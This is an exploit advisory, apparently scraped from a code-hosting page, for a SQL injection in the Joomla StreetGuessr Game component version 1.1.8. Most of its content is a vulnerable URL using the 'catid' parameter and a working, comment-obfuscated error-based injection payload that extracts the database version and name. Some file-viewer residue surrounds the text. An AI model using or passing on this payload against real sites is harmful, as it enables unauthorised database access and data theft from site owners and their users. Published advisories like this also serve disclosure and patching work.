16 lines
No EOL
653 B
Text
16 lines
No EOL
653 B
Text
# # # # #
|
|
# Exploit Title: Joomla! Component StreetGuessr Game v1.1.8 - SQL Injection
|
|
# Dork: N/A
|
|
# Date: 03.08.2017
|
|
# Vendor : https://www.nordmograph.com/
|
|
# Software: https://extensions.joomla.org/extensions/extension/sports-a-games/streetguessr-game/
|
|
# Demo: https://www.streetguessr.com/en/component/streetguess/
|
|
# Version: 1.1.8
|
|
# # # # #
|
|
# Author: Ihsan Sencan
|
|
# # # # #
|
|
# SQL Injection/Exploit :
|
|
# http://localhost/[PATH]/index.php?option=com_streetguess&view=maps&catid=[SQL]
|
|
# 0'+/*!11110procedure*/+/*!11110analyse*/+(/*!11110extractvalue*/(0x30,/*!11110concat*/(0x27,/*!11110@@version*/,0x7e,/*!11110database()*/)),0x30)--+-
|
|
# Etc..
|
|
# # # # # |